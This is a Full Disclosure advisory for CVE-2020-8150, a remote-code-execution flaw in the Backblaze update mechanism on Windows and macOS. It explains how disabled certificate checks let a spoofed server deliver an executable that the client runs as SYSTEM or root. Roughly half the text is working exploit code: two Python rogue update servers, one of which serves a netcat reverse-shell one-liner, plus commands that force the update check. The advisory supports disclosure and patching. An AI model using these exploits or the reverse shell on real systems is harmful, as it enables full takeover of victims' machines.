Date: Tue, 8 Sep 2020 12:41:13 -0500
From: Jason Geffner <geffner@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] CVE-2020-8150 – Remote Code Execution as SYSTEM/root via Backblaze

CVE-2020-8150 – Remote Code Execution as SYSTEM/root via Backblaze
------------------------------------------------------------------

Summary
=======
Name: Remote Code Execution as SYSTEM/root via Backblaze
CVE: CVE-2020-8150
Discoverer: Jason Geffner
Vendor: Backblaze
Product: Backblaze for Windows and Backblaze for macOS
Risk: Critical
Discovery Date: 2020-03-13
Publication Data: 2020-09-08
Fixed Version: 7.0.1.433 (Windows) and 7.1.0.434 (macOS)

Introduction
============
Per Wikipedia, Backblaze is "an online backup tool that allows Windows and macOS
users to back up their data to offsite data centers. The service is designed for
businesses and end-users, providing unlimited storage space and supporting
unlimited file sizes."

Vulnerable versions of Backblaze for Windows and Backblaze for macOS contain a
critical risk vulnerability that allows an unprivileged anonymous remote
attacker to perform remote code execution (RCE) as SYSTEM/root.

Vulnerability
=============
The Backblaze client's service process, named bzserv, runs as SYSTEM on Windows
and as root on macOS. Every couple of hours, bzserv runs a program named
bztransmit (executed as SYSTEM/root) to download an XML file named
clientversion.xml from Backblaze's data center to see if a newer version of the
Backblaze client is available for download. The URL for this XML file is
constructed from the "bzdatacenter" hostname in the installed bzinstall.xml file
(read-only for unprivileged users) and the hardcoded path
"api/clientversion.xml", yielding a URL such as
https://ca000.backblaze.com/api/clientversion.xml. This download is performed
via a statically linked libcurl library. However, the bztransmit functions that
leverage libcurl contain peculiar logic that cause them to set
CURLOPT_SSL_VERIFYPEER to 0 and CURLOPT_SSL_VERIFYHOST to 0 if the given URL
contains one of the following strings:

- .backblaze.xyz/
- .backblazeb2.xyz/
- api/clientversion.xml
- api/install_backblaze

This allows a remote attacker to impersonate the web server
https://ca000.backblaze.com/ with an invalid SSL certificate (for example, a
self-signed certificate) and supply the client with an attacker-controlled
clientversion.xml file. When bztransmit parses the downloaded XML file, it
checks to see if the latest client version described in the XML file is newer
than the installed client version and if so, downloads the latest client
version's installer from Backblaze's data center. The URL for this download is
constructed from the win32_url/mac_url attribute in the downloaded
clientversion.xml file; the attribute's value must start with "%DEST_HOST%" and
that string is replaced at runtime with the data center hostname described
above. The attacker can thus supply in their clientversion.xml a download URL
such as "%DEST_HOST%/api/install_backblaze", to cause bztransmit to download the
installer from https://ca000.backblaze.com/api/install_backblaze, and again
ignore the server's SSL certificate because of the "api/install_backblaze"
string in the URL. If the downloaded file is not a ZIP file (for example, if
it's a PE file or a Mach-o file) then the only validation of the file performed
by bztransmit is for the file to contain the string
"bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxyxzgromitxxkublerros
sxxskiepicxxnukepavex" in a certain offset range in the file. Once this
validation passes, bztransmit uses ShellExecute()/system() to run the downloaded
file as SYSTEM/root, thereby allowing the attacker to perform RCE as
SYSTEM/root.

Proof of Concept (Windows)
==========================
Video: https://youtu.be/W0THXbcX5V8

This proof of concept is for the Windows client. We assume that the attacker has
already sent a spoofed DNS response to the victim to point ca000.backblaze.com
to the attacker's IP, but for PoC testing purposes you can instead add the line
"<attacker's IP> ca000.backblaze.com" to the victim's
%windir%\System32\drivers\etc\hosts file. The code below expects the attacker to
supply rce.exe (which will be executed as SYSTEM on the victim's system) and
server.pem (which can be self-signed).
________________________________________________________________________________
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Proof-of-concept exploit for CVE-2020-8150 for Windows."""

__author__ = "geffner@...il.com (Jason Geffner)"
__version__ = "1.0"


from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl

bzmagicpat = b"bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
             b"xzgromitxxkublerrossxxskiepicxxnukepavex"
with open("rce.exe", "rb") as f:
    exe = f.read()
if len(exe) > (50200 - len(bzmagicpat)):
    raise("EXE too large")
exe += bzmagicpat
exe += b"\x00" * (50304 - len(exe))

class Handler(SimpleHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Length", str(len(exe)))
        self.end_headers()
        self.wfile.write(exe)

    def do_POST(self):
        self.send_response(200)
        form = cgi.FieldStorage(
            fp=self.rfile,
            headers=self.headers,
            environ={"REQUEST_METHOD": "POST"})
        response = str.encode(
            ' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
            ' win32_version="1' + form.getvalue("version") + '"' +
            ' win32_url="%DEST_HOST%/api/install_backblaze"')
        self.send_header("Content-Length", str(len(response)))
        self.end_headers()
        self.wfile.write(response)

    def do_CONNECT(self):
        self.wfile.write("HTTP/1.1 200\r\n")
        self.end_headers()
        self.rfile = self.connection.makefile("rb", self.rbufsize)
        self.wfile = self.connection.makefile("wb", self.wbufsize)
        self.close_connection = 0

httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
                               server_side=True)
httpd.serve_forever()
________________________________________________________________________________

Once the code above is running, wait. The victim's client checks for an update
every couple of hours.

If you'd like to test the PoC without waiting, you can run the following
commands as SYSTEM (using psexec, for example) on the victim's system to force
the update check:

- del %ProgramData%\Backblaze\bzdata\bzupdates\bzautoupdate_2_hour_lock.lck
- bztransmit.exe -fetchclientversionxml
- bztransmit.exe -downloadautoupdateifappropriate

Proof of Concept (macOS)
========================
Video: https://youtu.be/ILPP1Ky5nuY

This proof of concept is for the macOS client. In the real world, an attacker
would send a spoofed DNS response to the victim to point ca000.backblaze.com to
the attacker's IP, but for PoC purposes, we're attacking from the same system as
the victim and exploiting the compromised Backblaze service to create a
remote-shell back to the attacker, thus giving the would-be-remote attacker root
access.
________________________________________________________________________________
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Proof-of-concept exploit for CVE-2020-8150 for macOS."""

__author__ = "geffner@...il.com (Jason Geffner)"
__version__ = "1.0"


from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl

attacker_ip = "localhost"
attacker_port = 12345

reverse_shell = "mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + \
                f"{attacker_ip} {attacker_port} >/tmp/f"
bzmagicpat = "bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
             "xzgromitxxkublerrossxxskiepicxxnukepavex"
payload = reverse_shell + "\n" + bzmagicpat
payload += "A" * (50304 - len(payload))

class Handler(SimpleHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Length", str(len(payload)))
        self.end_headers()
        self.wfile.write(payload.encode())

    def do_POST(self):
        self.send_response(200)
        form = cgi.FieldStorage(
            fp=self.rfile,
            headers=self.headers,
            environ={"REQUEST_METHOD": "POST"})
        response = str.encode(
            ' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
            ' win32_version="1' + form.getvalue("version") + '"' +
            ' mac_version="1' + form.getvalue("version") + '"' +
            ' mac_url="%DEST_HOST%/api/install_backblaze"')
        self.send_header("Content-Length", str(len(response)))
        self.end_headers()
        self.wfile.write(response)

    def do_CONNECT(self):
        self.wfile.write("HTTP/1.1 200\r\n")
        self.end_headers()
        self.rfile = self.connection.makefile("rb", self.rbufsize)
        self.wfile = self.connection.makefile("wb", self.wbufsize)
        self.close_connection = 0

httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
                               server_side=True)
httpd.serve_forever()
________________________________________________________________________________

Once the code above is running, wait. The victim's client checks for an update
every couple of hours.

If you'd like to test the PoC without waiting, you can run the following
commands on the victim's system to force the update check:

- sudo rm /Library/Backblaze.bzpkg/bzdata/bzupdates/bzautoupdate_2_hour_lock.lck
- sudo /Library/Backblaze.bzpkg/bztransmit -fetchclientversionxml
- sudo /Library/Backblaze.bzpkg/bztransmit -downloadautoupdateifappropriate

Mitigation
==========
Backblaze patched this vulnerability in Backblaze version 7.0.1.433 for Windows
and version 7.0.1.434 for macOS.

Discoverer
==========
This vulnerability was discovered and reported to Backblaze by Jason Geffner via
HackerOne.

Timeline
========
2020-03-13 - Vulnerability discovered and reported to Backblaze via HackerOne
2020-03-31 - HackerOne verified vulnerability
2020-04-09 - Windows build 7.0.1.433 and macOS build 7.1.0.434 released
2020-04-17 - CVE-2020-8150 assigned
2020-04-18 - Vulnerability mitigation verified
2020-04-20 - Public disclosure requested
2020-09-08 - Public disclosure

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